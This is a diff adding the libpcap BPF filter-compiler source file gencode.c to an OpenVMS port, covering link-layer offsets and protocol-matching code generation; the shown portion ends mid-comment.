a/Pcap-VMS/pcap-vci/gencode.c b/Pcap-VMS/pcap-vci/gencode.c new file mode 100644 index 00000000..8d8ac05a --- /dev/null +++ b/Pcap-VMS/pcap-vci/gencode.c @@ -0,0 +1,5135 @@ +/*#define CHASE_CHAIN*/ +/* + * Copyright (c) 1990, 1991, 1992, 1993, 1994, 1995, 1996, 1997, 1998 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that: (1) source code distributions + * retain the above copyright notice and this paragraph in its entirety, (2) + * distributions including binary code include the above copyright notice and + * this paragraph in its entirety in the documentation or other materials + * provided with the distribution, and (3) all advertising materials mentioning + * features or use of this software display the following acknowledgement: + * ``This product includes software developed by the University of California, + * Lawrence Berkeley Laboratory and its contributors.'' Neither the name of + * the University nor the names of its contributors may be used to endorse + * or promote products derived from this software without specific prior + * written permission. + * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + */ +#ifndef lint +static const char rcsid[] = + "@(#) $Header: /tcpdump/master/libpcap/gencode.c,v 1.180 2002/10/18 08:46:13 guy Exp $ (LBL)"; +#endif + +#ifdef HAVE_CONFIG_H +#include "config.h" +#endif + +#ifdef VMS +#include "pcap-vms.h" +#include "snprintf.h" +#endif + +#ifdef WIN32 +#include +#else /* WIN32 */ +#include +#include +#include +#endif /* WIN32 */ + +/* + * XXX - why was this included even on UNIX? + */ +#ifdef __MINGW32__ +#include "IP6_misc.h" +#endif + +#ifndef WIN32 + +#ifdef __NetBSD__ +#include +#endif + +#include + +#endif /* WIN32 */ + +#include +#include +#include +#include +#include + +#include "pcap-int.h" + +#include "ethertype.h" +#include "nlpid.h" +#include "llc.h" +#include "gencode.h" +#include "atmuni31.h" +#include "sunatmpos.h" +#include "ppp.h" +#include "sll.h" +#include "arcnet.h" +#ifdef INET6 +#ifndef WIN32 +#include /* for "struct addrinfo" */ +#endif /* WIN32 */ +#endif /*INET6*/ +#include + +#define ETHERMTU 1500 + +#ifndef IPPROTO_SCTP +#define IPPROTO_SCTP 132 +#endif + +#ifdef HAVE_OS_PROTO_H +#include "os-proto.h" +#endif + +#define JMP(c) ((c)|BPF_JMP|BPF_K) + +/* Locals */ +static jmp_buf top_ctx; +static pcap_t *bpf_pcap; + +/* Hack for updating VLAN offsets. */ +static u_int orig_linktype = -1, orig_nl = -1, orig_nl_nosnap = -1; + +/* XXX */ +#ifdef PCAP_FDDIPAD +int pcap_fddipad = PCAP_FDDIPAD; +#else +int pcap_fddipad; +#endif + +/* VARARGS */ +void +bpf_error(const char *fmt, ...) + +{ + va_list ap; + + va_start(ap, fmt); + if (bpf_pcap != NULL) + (void)vsnprintf(pcap_geterr(bpf_pcap), PCAP_ERRBUF_SIZE, + fmt, ap); + va_end(ap); + longjmp(top_ctx, 1); + /* NOTREACHED */ +} + +static void init_linktype(int); + +static int alloc_reg(void); +static void free_reg(int); + +static struct block *root; + +/* + * We divy out chunks of memory rather than call malloc each time so + * we don't have to worry about leaking memory. It's probably + * not a big deal if all this memory was wasted but it this ever + * goes into a library that would probably not be a good idea. + */ +#define NCHUNKS 16 +#define CHUNK0SIZE 1024 +struct chunk { + u_int n_left; + void *m; +}; + +static struct chunk chunks[NCHUNKS]; +static int cur_chunk; + +static void *newchunk(u_int); +static void freechunks(void); +static inline struct block *new_block(int); +static inline struct slist *new_stmt(int); +static struct block *gen_retblk(int); +static inline void syntax(void); + +static void backpatch(struct block *, struct block *); +static void merge(struct block *, struct block *); +static struct block *gen_cmp(u_int, u_int, bpf_int32); +static struct block *gen_cmp_gt(u_int, u_int, bpf_int32); +static struct block *gen_mcmp(u_int, u_int, bpf_int32, bpf_u_int32); +static struct block *gen_bcmp(u_int, u_int, const u_char *); +static struct block *gen_ncmp(bpf_u_int32, bpf_u_int32, bpf_u_int32, + bpf_u_int32, bpf_u_int32, int); +static struct block *gen_uncond(int); +static inline struct block *gen_true(void); +static inline struct block *gen_false(void); +static struct block *gen_ether_linktype(int); +static struct block *gen_linktype(int); +static struct block *gen_snap(bpf_u_int32, bpf_u_int32, u_int); +static struct block *gen_llc(int); +static struct block *gen_hostop(bpf_u_int32, bpf_u_int32, int, int, u_int, u_int); +#ifdef INET6 +static struct block *gen_hostop6(struct in6_addr *, struct in6_addr *, int, int, u_int, u_int); +#endif +static struct block *gen_ahostop(const u_char *, int); +static struct block *gen_ehostop(const u_char *, int); +static struct block *gen_fhostop(const u_char *, int); +static struct block *gen_thostop(const u_char *, int); +static struct block *gen_wlanhostop(const u_char *, int); +static struct block *gen_ipfchostop(const u_char *, int); +static struct block *gen_dnhostop(bpf_u_int32, int, u_int); +static struct block *gen_host(bpf_u_int32, bpf_u_int32, int, int); +#ifdef INET6 +static struct block *gen_host6(struct in6_addr *, struct in6_addr *, int, int); +#endif +#ifndef INET6 +static struct block *gen_gateway(const u_char *, bpf_u_int32 **, int, int); +#endif +static struct block *gen_ipfrag(void); +static struct block *gen_portatom(int, bpf_int32); +#ifdef INET6 +static struct block *gen_portatom6(int, bpf_int32); +#endif +struct block *gen_portop(int, int, int); +static struct block *gen_port(int, int, int); +#ifdef INET6 +struct block *gen_portop6(int, int, int); +static struct block *gen_port6(int, int, int); +#endif +static int lookup_proto(const char *, int); +static struct block *gen_protochain(int, int, int); +static struct block *gen_proto(int, int, int); +static struct slist *xfer_to_x(struct arth *); +static struct slist *xfer_to_a(struct arth *); +static struct block *gen_mac_multicast(int); +static struct block *gen_len(int, int); + +static struct block *gen_msg_abbrev(int type); + +static void * +newchunk(n) + u_int n; +{ + struct chunk *cp; + int k, size; + +#ifndef __NetBSD__ + /* XXX Round up to nearest long. */ + n = (n + sizeof(long) - 1) & ~(sizeof(long) - 1); +#else + /* XXX Round up to structure boundary. */ + n = ALIGN(n); +#endif + + cp = &chunks[cur_chunk]; + if (n > cp->n_left) { + ++cp, k = ++cur_chunk; + if (k >= NCHUNKS) + bpf_error("out of memory"); + size = CHUNK0SIZE << k; + cp->m = (void *)malloc(size); + memset((char *)cp->m, 0, size); + cp->n_left = size; + if (n > size) + bpf_error("out of memory"); + } + cp->n_left -= n; + return (void *)((char *)cp->m + cp->n_left); +} + +static void +freechunks() +{ + int i; + + cur_chunk = 0; + for (i = 0; i < NCHUNKS; ++i) + if (chunks[i].m != NULL) { + free(chunks[i].m); + chunks[i].m = NULL; + } +} + +/* + * A strdup whose allocations are freed after code generation is over. + */ +char * +sdup(s) + register const char *s; +{ + int n = strlen(s) + 1; + char *cp = newchunk(n); + + strlcpy(cp, s, n); + return (cp); +} + +static inline struct block * +new_block(code) + int code; +{ + struct block *p; + + p = (struct block *)newchunk(sizeof(*p)); + p->s.code = code; + p->head = p; + + return p; +} + +static inline struct slist * +new_stmt(code) + int code; +{ + struct slist *p; + + p = (struct slist *)newchunk(sizeof(*p)); + p->s.code = code; + + return p; +} + +static struct block * +gen_retblk(v) + int v; +{ + struct block *b = new_block(BPF_RET|BPF_K); + + b->s.k = v; + return b; +} + +static inline void +syntax() +{ + bpf_error("syntax error in filter expression"); +} + +static bpf_u_int32 netmask; +static int snaplen; +int no_optimize; + +int +pcap_compile(pcap_t *p, struct bpf_program *program, + char *buf, int optimize, bpf_u_int32 mask) +{ + extern int n_errors; + int len; + + no_optimize = 0; + n_errors = 0; + root = NULL; + bpf_pcap = p; + if (setjmp(top_ctx)) { + lex_cleanup(); + freechunks(); + return (-1); + } + + netmask = mask; + + snaplen = pcap_snapshot(p); + if (snaplen == 0) { + snprintf(p->errbuf, PCAP_ERRBUF_SIZE, + "snaplen of 0 rejects all packets"); + return -1; + } + + lex_init(buf ? buf : ""); + init_linktype(pcap_datalink(p)); + (void)pcap_parse(); + + if (n_errors) + syntax(); + + if (root == NULL) + root = gen_retblk(snaplen); + + if (optimize && !no_optimize) { + bpf_optimize(&root); + if (root == NULL || + (root->s.code == (BPF_RET|BPF_K) && root->s.k == 0)) + bpf_error("expression rejects all packets"); + } + program->bf_insns = icode_to_fcode(root, &len); + program->bf_len = len; + + lex_cleanup(); + freechunks(); + return (0); +} + +/* + * entry point for using the compiler with no pcap open + * pass in all the stuff that is needed explicitly instead. + */ +int +pcap_compile_nopcap(int snaplen_arg, int linktype_arg, + struct bpf_program *program, + char *buf, int optimize, bpf_u_int32 mask) +{ + pcap_t *p; + int ret; + + p = pcap_open_dead(linktype_arg, snaplen_arg); + if (p == NULL) + return (-1); + ret = pcap_compile(p, program, buf, optimize, mask); + pcap_close(p); + return (ret); +} + +/* + * Clean up a "struct bpf_program" by freeing all the memory allocated + * in it. + */ +void +pcap_freecode(struct bpf_program *program) +{ + program->bf_len = 0; + if (program->bf_insns != NULL) { + free((char *)program->bf_insns); + program->bf_insns = NULL; + } +} + +/* + * Backpatch the blocks in 'list' to 'target'. The 'sense' field indicates + * which of the jt and jf fields has been resolved and which is a pointer + * back to another unresolved block (or nil). At least one of the fields + * in each block is already resolved. + */ +static void +backpatch(list, target) + struct block *list, *target; +{ + struct block *next; + + while (list) { + if (!list->sense) { + next = JT(list); + JT(list) = target; + } else { + next = JF(list); + JF(list) = target; + } + list = next; + } +} + +/* + * Merge the lists in b0 and b1, using the 'sense' field to indicate + * which of jt and jf is the link. + */ +static void +merge(b0, b1) + struct block *b0, *b1; +{ + register struct block **p = &b0; + + /* Find end of list. */ + while (*p) + p = !((*p)->sense) ? &JT(*p) : &JF(*p); + + /* Concatenate the lists. */ + *p = b1; +} + +void +finish_parse(p) + struct block *p; +{ + backpatch(p, gen_retblk(snaplen)); + p->sense = !p->sense; + backpatch(p, gen_retblk(0)); + root = p->head; +} + +void +gen_and(b0, b1) + struct block *b0, *b1; +{ + backpatch(b0, b1->head); + b0->sense = !b0->sense; + b1->sense = !b1->sense; + merge(b1, b0); + b1->sense = !b1->sense; + b1->head = b0->head; +} + +void +gen_or(b0, b1) + struct block *b0, *b1; +{ + b0->sense = !b0->sense; + backpatch(b0, b1->head); + b0->sense = !b0->sense; + merge(b1, b0); + b1->head = b0->head; +} + +void +gen_not(b) + struct block *b; +{ + b->sense = !b->sense; +} + +static struct block * +gen_cmp(offset, size, v) + u_int offset, size; + bpf_int32 v; +{ + struct slist *s; + struct block *b; + + s = new_stmt(BPF_LD|BPF_ABS|size); + s->s.k = offset; + + b = new_block(JMP(BPF_JEQ)); + b->stmts = s; + b->s.k = v; + + return b; +} + +static struct block * +gen_cmp_gt(offset, size, v) + u_int offset, size; + bpf_int32 v; +{ + struct slist *s; + struct block *b; + + s = new_stmt(BPF_LD|BPF_ABS|size); + s->s.k = offset; + + b = new_block(JMP(BPF_JGT)); + b->stmts = s; + b->s.k = v; + + return b; +} + +static struct block * +gen_mcmp(offset, size, v, mask) + u_int offset, size; + bpf_int32 v; + bpf_u_int32 mask; +{ + struct block *b = gen_cmp(offset, size, v); + struct slist *s; + + if (mask != 0xffffffff) { + s = new_stmt(BPF_ALU|BPF_AND|BPF_K); + s->s.k = mask; + b->stmts->next = s; + } + return b; +} + +static struct block * +gen_bcmp(offset, size, v) + register u_int offset, size; + register const u_char *v; +{ + register struct block *b, *tmp; + + b = NULL; + while (size >= 4) { + register const u_char *p = &v[size - 4]; + bpf_int32 w = ((bpf_int32)p[0] << 24) | + ((bpf_int32)p[1] << 16) | ((bpf_int32)p[2] << 8) | p[3]; + + tmp = gen_cmp(offset + size - 4, BPF_W, w); + if (b != NULL) + gen_and(b, tmp); + b = tmp; + size -= 4; + } + while (size >= 2) { + register const u_char *p = &v[size - 2]; + bpf_int32 w = ((bpf_int32)p[0] << 8) | p[1]; + + tmp = gen_cmp(offset + size - 2, BPF_H, w); + if (b != NULL) + gen_and(b, tmp); + b = tmp; + size -= 2; + } + if (size > 0) { + tmp = gen_cmp(offset, BPF_B, (bpf_int32)v[0]); + if (b != NULL) + gen_and(b, tmp); + b = tmp; + } + return b; +} + +static struct block * +gen_ncmp(datasize, offset, mask, jtype, jvalue, reverse) + bpf_u_int32 datasize, offset, mask, jtype, jvalue; + int reverse; +{ + struct slist *s; + struct block *b; + + s = new_stmt(BPF_LD|datasize|BPF_ABS); + s->s.k = offset; + + if (mask != 0xffffffff) { + s->next = new_stmt(BPF_ALU|BPF_AND|BPF_K); + s->next->s.k = mask; + } + + b = new_block(JMP(jtype)); + b->stmts = s; + b->s.k = jvalue; + if (reverse && (jtype == BPF_JGT || jtype == BPF_JGE)) + gen_not(b); + return b; +} + +/* + * Various code constructs need to know the layout of the data link + * layer. These variables give the necessary offsets. + */ + +/* + * This is the offset of the beginning of the MAC-layer header. + * It's usually 0, except for ATM LANE. + */ +static u_int off_mac; + +/* + * "off_linktype" is the offset to information in the link-layer header + * giving the packet type. + * + * For Ethernet, it's the offset of the Ethernet type field. + * + * For link-layer types that always use 802.2 headers, it's the + * offset of the LLC header. + * + * For PPP, it's the offset of the PPP type field. + * + * For Cisco HDLC, it's the offset of the CHDLC type field. + * + * For BSD loopback, it's the offset of the AF_ value. + * + * For Linux cooked sockets, it's the offset of the type field. + * + * It's set to -1 for no encapsulation, in which case, IP is assumed. + */ +//static u_int off_linktype; +static int off_linktype; + +/* + * TRUE if the link layer includes an ATM pseudo-header. + */ +static int is_atm = 0; + +/* + * TRUE if "lane" appeared in the filter; it causes us to generate + * code that assumes LANE rather than LLC-encapsulated traffic in SunATM. + */ +static int is_lane = 0; + +/* + * These are offsets for the ATM pseudo-header. + */ +static int off_vpi; +static int off_vci; +static int off_proto; + +/* + * This is the offset of the first byte after the ATM pseudo_header, + * or -1 if there is no ATM pseudo-header. + */ +static int off_payload; + +/* + * These are offsets to the beginning of the network-layer header. + * + * If the link layer never uses 802.2 LLC: + * + * "off_nl" and "off_nl_nosnap" are the same. + * + * If the link layer always uses 802.2 LLC: + * + * "off_nl" is the offset if there's a SNAP header following + * the 802.2 header; + * + * "off_nl_nosnap" is the offset if there's no SNAP header. + * + * If the link layer is Ethernet: + * + * "off_nl" is the offset if the packet is an Ethernet II packet + * (we assume no 802.3+802.2+SNAP); + * + * "off_nl_nosnap" is the offset if the packet is an 802.3 packet + * with an 802.2 header following it. + */ +static int off_nl; +static int off_nl_nosnap; + +static int linktype; + +static void +init_linktype(type) + int type; +{ + linktype = type; + + /* + * Assume it's not raw ATM with a pseudo-header, for now. + */ + off_mac = 0; + is_atm = 0; + is_lane = 0; + off_vpi = -1; + off_vci = -1; + off_proto = -1; + off_payload = -1; + + orig_linktype = -1; + orig_nl = -1; + orig_nl_nosnap = -1; + + switch (type) { + + case DLT_ARCNET: + off_linktype = 2; + off_nl = 6; /* XXX in reality, variable! */ + off_nl_nosnap = 6; /* no 802.2 LLC */ + return; + + case DLT_EN10MB: + off_linktype = 12; + off_nl = 14; /* Ethernet II */ + off_nl_nosnap = 17; /* 802.3+802.2 */ + return; + + case DLT_SLIP: + /* + * SLIP doesn't have a link level type. The 16 byte + * header is hacked into our SLIP driver. + */ + off_linktype = -1; + off_nl = 16; + off_nl_nosnap = 16; /* no 802.2 LLC */ + return; + + case DLT_SLIP_BSDOS: + /* XXX this may be the same as the DLT_PPP_BSDOS case */ + off_linktype = -1; + /* XXX end */ + off_nl = 24; + off_nl_nosnap = 24; /* no 802.2 LLC */ + return; + + case DLT_NULL: + case DLT_LOOP: + off_linktype = 0; + off_nl = 4; + off_nl_nosnap = 4; /* no 802.2 LLC */ + return; + + case DLT_PPP: + case DLT_C_HDLC: /* BSD/OS Cisco HDLC */ + case DLT_PPP_SERIAL: /* NetBSD sync/async serial PPP */ + off_linktype = 2; + off_nl = 4; + off_nl_nosnap = 4; /* no 802.2 LLC */ + return; + + case DLT_PPP_ETHER: + /* + * This does no include the Ethernet header, and + * only covers session state. + */ + off_linktype = 6; + off_nl = 8; + off_nl_nosnap = 8; /* no 802.2 LLC */ + return; + + case DLT_PPP_BSDOS: + off_linktype = 5; + off_nl = 24; + off_nl_nosnap = 24; /* no 802.2 LLC */ + return; + + case DLT_FDDI: + /* + * FDDI doesn't really have a link-level type field. + * We set "off_linktype" to the offset of the LLC header. + * + * To check for Ethernet types, we assume that SSAP = SNAP + * is being used and pick out the encapsulated Ethernet type. + * XXX - should we generate code to check for SNAP? + */ + off_linktype = 13; +#ifdef PCAP_FDDIPAD + off_linktype += pcap_fddipad; +#endif + off_nl = 21; /* FDDI+802.2+SNAP */ + off_nl_nosnap = 16; /* FDDI+802.2 */ +#ifdef PCAP_FDDIPAD + off_nl += pcap_fddipad; + off_nl_nosnap += pcap_fddipad; +#endif + return; + + case DLT_IEEE802: + /* + * Token Ring doesn't really have a link-level type field. + * We set "off_linktype" to the offset of the LLC header. + * + * To check for Ethernet types, we assume that SSAP = SNAP + * is being used and pick out the encapsulated Ethernet type. + * XXX - should we generate code to check for SNAP? + * + * XXX - the header is actually variable-length. + * Some various Linux patched versions gave 38 + * as "off_linktype" and 40 as "off_nl"; however, + * if a token ring packet has *no* routing + * information, i.e. is not source-routed, the correct + * values are 20 and 22, as they are in the vanilla code. + * + * A packet is source-routed iff the uppermost bit + * of the first byte of the source address, at an + * offset of 8, has the uppermost bit set. If the + * packet is source-routed, the total number of bytes + * of routing information is 2 plus bits 0x1F00 of + * the 16-bit value at an offset of 14 (shifted right + * 8 - figure out which byte that is). + */ + off_linktype = 14; + off_nl = 22; /* Token Ring+802.2+SNAP */ + off_nl_nosnap = 17; /* Token Ring+802.2 */ + return; + + case DLT_IEEE802_11: + /* + * 802.11 doesn't really have a link-level type field. + * We set "off_linktype" to the offset of the LLC header. + * + * To check for Ethernet types, we assume that SSAP = SNAP + * is being used and pick out the encapsulated Ethernet type. + * XXX - should we generate code to check for SNAP? + * + * XXX - the header is actually variable-length. We + * assume a 24-byte link-layer header, as appears in + * data frames in networks with no bridges. + */ + off_linktype = 24; + off_nl = 32; /* 802.11+802.2+SNAP */ + off_nl_nosnap = 27; /* 802.11+802.2 */ + return; + + case DLT_PRISM_HEADER: + /* + * Same as 802.11, but with an additional header before + * the 802.11 header, containing a bunch of additional + * information including radio-level information. + * + * The header is 144 bytes long. + * + * XXX - same variable-length header problem; at least + * the Prism header is fixed-length. + */ + off_linktype = 144+24; + off_nl = 144+32; /* Prism+802.11+802.2+SNAP */ + off_nl_nosnap = 144+27; /* Prism+802.11+802.2 */ + return; + + case DLT_ATM_RFC1483: + case DLT_ATM_CLIP: /* Linux ATM defines this */ + /* + * assume routed, non-ISO PDUs + * (i.e., LLC = 0xAA-AA-03, OUT = 0x00-00-00) + */ + off_linktype = 0; + off_nl = 8; /* 802.2+SNAP */ + off_nl_nosnap = 3; /* 802.2 */ + return; + + case DLT_SUNATM: + /* + * Full Frontal ATM; you get AALn PDUs with an ATM + * pseudo-header. + */ + is_atm = 1; + off_vpi = SUNATM_VPI_POS; + off_vci = SUNATM_VCI_POS; + off_proto = PROTO_POS; + off_mac = -1; /* LLC-encapsulated, so no MAC-layer header */ + off_payload = SUNATM_PKT_BEGIN_POS; + off_linktype = off_payload; + off_nl = off_payload+8; /* 802.2+SNAP */ + off_nl_nosnap = off_payload+3; /* 802.2 */ + return; + + case DLT_RAW: + off_linktype = -1; + off_nl = 0; + off_nl_nosnap = 0; /* no 802.2 LLC */ + return; + + case DLT_LINUX_SLL: /* fake header for Linux cooked socket */ + off_linktype = 14; + off_nl = 16; + off_nl_nosnap = 16; /* no 802.2 LLC */ + return; + + case DLT_LTALK: + /* + * LocalTalk does have a 1-byte type field in the LLAP header, + * but really it just indicates whether there is a "short" or + * "long" DDP packet following. + */ + off_linktype = -1; + off_nl = 0; + off_nl_nosnap = 0; /* no 802.2 LLC */ + return; + + case DLT_IP_OVER_FC: + /* + * RFC 2625 IP-over-Fibre-Channel doesn't really have a + * link-level type field. We set "off_linktype" to the + * offset of the LLC header. + * + * To check for Ethernet types, we assume that SSAP = SNAP + * is being used and pick out the encapsulated Ethernet type. + * XXX - should we generate code to check for SNAP? RFC + * 2625 says SNAP should be used. + */ + off_linktype = 16; + off_nl = 24; /* IPFC+802.2+SNAP */ + off_nl_nosnap = 19; /* IPFC+802.2 */ + return; + + case DLT_FRELAY: + /* + * XXX - we should set this to handle SNAP-encapsulated + * frames (NLPID of 0x80). + */ + off_linktype = -1; + off_nl = 0; + off_nl_nosnap = 0; /* no 802.2 LLC */ + return; + } + bpf_error("unknown data link type %d", linktype); + /* NOTREACHED */ +} + +static struct block * +gen_uncond(rsense) + int rsense; +{ + struct block *b; + struct slist *s; + + s = new_stmt(BPF_LD|BPF_IMM); + s->s.k = !rsense; + b = new_block(JMP(BPF_JEQ)); + b->stmts = s; + + return b; +} + +static inline struct block * +gen_true() +{ + return gen_uncond(1); +} + +static inline struct block * +gen_false() +{ + return gen_uncond(0); +} + +/* + * Byte-swap a 32-bit number. + * ("htonl()" or "ntohl()" won't work - we want to byte-swap even on + * big-endian platforms.) + */ +#define SWAPLONG(y) \ +((((y)&0xff)<<24) | (((y)&0xff00)<<8) | (((y)&0xff0000)>>8) | (((y)>>24)&0xff)) + +static struct block * +gen_ether_linktype(proto) + register int proto; +{ + struct block *b0, *b1; + + switch (proto) { + + case LLCSAP_ISONS: + /* + * OSI protocols always use 802.2 encapsulation. + * XXX - should we check both the DSAP and the + * SSAP, like this, or should we check just the + * DSAP? + */ + b0 = gen_cmp_gt(off_linktype, BPF_H, ETHERMTU); + gen_not(b0); + b1 = gen_cmp(off_linktype + 2, BPF_H, (bpf_int32) + ((LLCSAP_ISONS << 8) | LLCSAP_ISONS)); + gen_and(b0, b1); + return b1; + + case LLCSAP_NETBEUI: + /* + * NetBEUI always uses 802.2 encapsulation. + * XXX - should we check both the DSAP and the + * SSAP, like this, or should we check just the + * DSAP? + */ + b0 = gen_cmp_gt(off_linktype, BPF_H, ETHERMTU); + gen_not(b0); + b1 = gen_cmp(off_linktype + 2, BPF_H, (bpf_int32) + ((LLCSAP_NETBEUI << 8) | LLCSAP_NETBEUI)); + gen_and(b0, b1); + return b1; + + case LLCSAP_IPX: + /* + * Check for; + * + * Ethernet_II frames, which are Ethernet + * frames with a frame type of ETHERTYPE_IPX; + * + * Ethernet_802.3 frames, which are 802.3 + * frames (i.e., the type/length field is + * a length field, <= ETHERMTU, rather than + * a type field) with the first two bytes + * after the Ethernet/802.3 header being + * 0xFFFF; + * + * Ethernet_802.2 frames, which are 802.3 + * frames with an 802.2 LLC header and + * with the IPX LSAP as the DSAP in the LLC + * header; + * + * Ethernet_SNAP frames, which are 802.3 + * frames with an LLC header and a SNAP + * header and with an OUI of 0x000000 + * (encapsulated Ethernet) and a protocol + * ID of ETHERTYPE_IPX in the SNAP header. + * + * XXX - should we generate the same code both + * for tests for LLCSAP_IPX and for ETHERTYPE_IPX? + */ + + /* + * This generates code to check both for the + * IPX LSAP (Ethernet_802.2) and for Ethernet_802.3. + */ + b0 = gen_cmp(off_linktype + 2, BPF_B, (bpf_int32)LLCSAP_IPX); + b1 = gen_cmp(off_linktype + 2, BPF_H, (bpf_int32)0xFFFF); + gen_or(b0, b1); + + /* + * Now we add code to check for SNAP frames with + * ETHERTYPE_IPX, i.e. Ethernet_SNAP. + */ + b0 = gen_snap(0x000000, ETHERTYPE_IPX, 14); + gen_or(b0, b1); + + /* + * Now we generate code to check for 802.3 + * frames in general. + */ + b0 = gen_cmp_gt(off_linktype, BPF_H, ETHERMTU); + gen_not(b0); + + /* + * Now add the check for 802.3 frames before the + * check for Ethernet_802.2 and Ethernet_802.3, + * as those checks should only be done on 802.3 + * frames, not on Ethernet frames. + */ + gen_and(b0, b1); + + /* + * Now add the check for Ethernet_II frames, and + * do that before checking for the other frame + * types. + */ + b0 = gen_cmp(off_linktype, BPF_H, (bpf_int32)ETHERTYPE_IPX); + gen_or(b0, b1); + return b1; + + case ETHERTYPE_ATALK: + case ETHERTYPE_AARP: + /* + * EtherTalk (AppleTalk protocols on Ethernet link + * layer) may use 802.2 encapsulation. + */ + + /* + * Check for 802.2 encapsulation (EtherTalk phase 2?); + * we check for an Ethernet type field less than + * 1500, which means it's an 802.3 length field. + */ + b0 = gen_cmp_gt(off_linktype, BPF_H, ETHERMTU); + gen_not(b0); + + /* + * 802.2-encapsulated ETHERTYPE_ATALK packets are + * SNAP packets with an organization code of + * 0x080007 (Apple, for Appletalk) and a protocol + * type of ETHERTYPE_ATALK (Appletalk). + * + * 802.2-encapsulated ETHERTYPE_AARP packets are + * SNAP packets with an organization code of + * 0x000000 (encapsulated Ethernet) and a protocol + * type of ETHERTYPE_AARP (Appletalk ARP). + */ + if (proto == ETHERTYPE_ATALK) + b1 = gen_snap(0x080007, ETHERTYPE_ATALK, 14); + else /* proto == ETHERTYPE_AARP */ + b1 = gen_snap(0x000000, ETHERTYPE_AARP, 14); + gen_and(b0, b1); + + /* + * Check for Ethernet encapsulation (Ethertalk + * phase 1?); we just check for the Ethernet + * protocol type. + */ + b0 = gen_cmp(off_linktype, BPF_H, (bpf_int32)proto); + + gen_or(b0, b1); + return b1; + + default: + if (proto <= ETHERMTU) { + /* + * This is an LLC SAP value, so the frames + * that match would be 802.2 frames. + * Check that the frame is an 802.2 frame + * (i.e., that the length/type field is + * a length field, <= ETHERMTU) and + * then check the DSAP. + */ + b0 = gen_cmp_gt(off_linktype, BPF_H, ETHERMTU); + gen_not(b0); + b1 = gen_cmp(off_linktype + 2, BPF_B, (bpf_int32)proto); + gen_and(b0, b1); + return b1; + } else { + /* + * This is an Ethernet type, so compare + * the length/type field with it (if + * the frame is an 802.2 frame, the length + * field will be <= ETHERMTU, and, as + * "proto" is > ETHERMTU, this test + * will fail and the frame won't match, + * which is what we want). + */ + return gen_cmp(off_linktype, BPF_H, (bpf_int32)proto); + } + } +} + +static struct block * +gen_linktype(proto) + register int proto; +{ + struct block *b0, *b1, *b2; + + switch (linktype) { + + case DLT_EN10MB: + return gen_ether_linktype(proto); + break; + + case DLT_IEEE802_11: + case DLT_PRISM_HEADER: + case DLT_FDDI: + case DLT_IEEE802: + case DLT_ATM_RFC1483: + case DLT_ATM_CLIP: + case DLT_IP_OVER_FC: + return gen_llc(proto); + break; + + case DLT_SUNATM: + /* + * If "is_lane" is set, check for a LANE-encapsulated + * version of this protocol, otherwise check for an + * LLC-encapsulated version of this protocol. + * + * We assume LANE means Ethernet, not Token Ring. + */ + if (is_lane) { + /* + * Check that the packet doesn't begin with an + * LE Control marker. (We've already generated + * a test for LANE.) + */ + b0 = gen_cmp(SUNATM_PKT_BEGIN_POS, BPF_H, 0xFF00); + gen_not(b0); + + /* + * Now generate an Ethernet test. + */ + b1 = gen_ether_linktype(proto); + gen_and(b0, b1); + return b1; + } else { + /* + * Check for LLC encapsulation and then check the + * protocol. + */ + b0 = gen_atmfield_code(A_PROTOTYPE, PT_LLC, BPF_JEQ, 0); + b1 = gen_llc(proto); + gen_and(b0, b1); + return b1; + } + + case DLT_LINUX_SLL: + switch (proto) { + + case LLCSAP_ISONS: + /* + * OSI protocols always use 802.2 encapsulation. + * XXX - should we check both the DSAP and the + * LSAP, like this, or should we check just the + * DSAP? + */ + b0 = gen_cmp(off_linktype, BPF_H, LINUX_SLL_P_802_2); + b1 = gen_cmp(off_linktype + 2, BPF_H, (bpf_int32) + ((LLCSAP_ISONS << 8) | LLCSAP_ISONS)); + gen_and(b0, b1); + return b1; + + case LLCSAP_NETBEUI: + /* + * NetBEUI always uses 802.2 encapsulation. + * XXX - should we check both the DSAP and the + * LSAP, like this, or should we check just the + * DSAP? + */ + b0 = gen_cmp(off_linktype, BPF_H, LINUX_SLL_P_802_2); + b1 = gen_cmp(off_linktype + 2, BPF_H, (bpf_int32) + ((LLCSAP_NETBEUI << 8) | LLCSAP_NETBEUI)); + gen_and(b0, b1); + return b1; + + case LLCSAP_IPX: + /* + * Ethernet_II frames, which are Ethernet + * frames with a frame type of ETHERTYPE_IPX; + * + * Ethernet_802.3 frames, which have a frame + * type of LINUX_SLL_P_802_3; + * + * Ethernet_802.2 frames, which are 802.3 + * frames with an 802.2 LLC header (i.e, have + * a frame type of LINUX_SLL_P_802_2) and + * with the IPX LSAP as the DSAP in the LLC + * header; + * + * Ethernet_SNAP frames, which are 802.3 + * frames with an LLC header and a SNAP + * header and with an OUI of 0x000000 + * (encapsulated Ethernet) and a protocol + * ID of ETHERTYPE_IPX in the SNAP header. + * + * First, do the checks on LINUX_SLL_P_802_2 + * frames; generate the check for either + * Ethernet_802.2 or Ethernet_SNAP frames, and + * then put a check for LINUX_SLL_P_802_2 frames + * before it. + */ + b0 = gen_cmp(off_linktype + 2, BPF_B, + (bpf_int32)LLCSAP_IPX); + b1 = gen_snap(0x000000, ETHERTYPE_IPX, + off_linktype + 2); + gen_or(b0, b1); + b0 = gen_cmp(off_linktype, BPF_H, LINUX_SLL_P_802_2); + gen_and(b0, b1); + + /* + * Now check for 802.3 frames and OR that with + * the previous test. + */ + b0 = gen_cmp(off_linktype, BPF_H, LINUX_SLL_P_802_3); + gen_or(b0, b1); + + /* + * Now add the check for Ethernet_II frames, and + * do that before checking for the other frame + * types. + */ + b0 = gen_cmp(off_linktype, BPF_H, + (bpf_int32)ETHERTYPE_IPX); + gen_or(b0, b1); + return b1; + + case ETHERTYPE_ATALK: + case ETHERTYPE_AARP: + /* + * EtherTalk (AppleTalk protocols on Ethernet link + * layer) may use 802.2 encapsulation. + */ + + /* + * Check for 802.2 encapsulation (EtherTalk phase 2?); + * we check for the 802.2 protocol type in the + * "Ethernet type" field. + */ + b0 = gen_cmp(off_linktype, BPF_H, LINUX_SLL_P_802_2); + + /* + * 802.2-encapsulated ETHERTYPE_ATALK packets are + * SNAP packets with an organization code of + * 0x080007 (Apple, for Appletalk) and a protocol + * type of ETHERTYPE_ATALK (Appletalk). + * + * 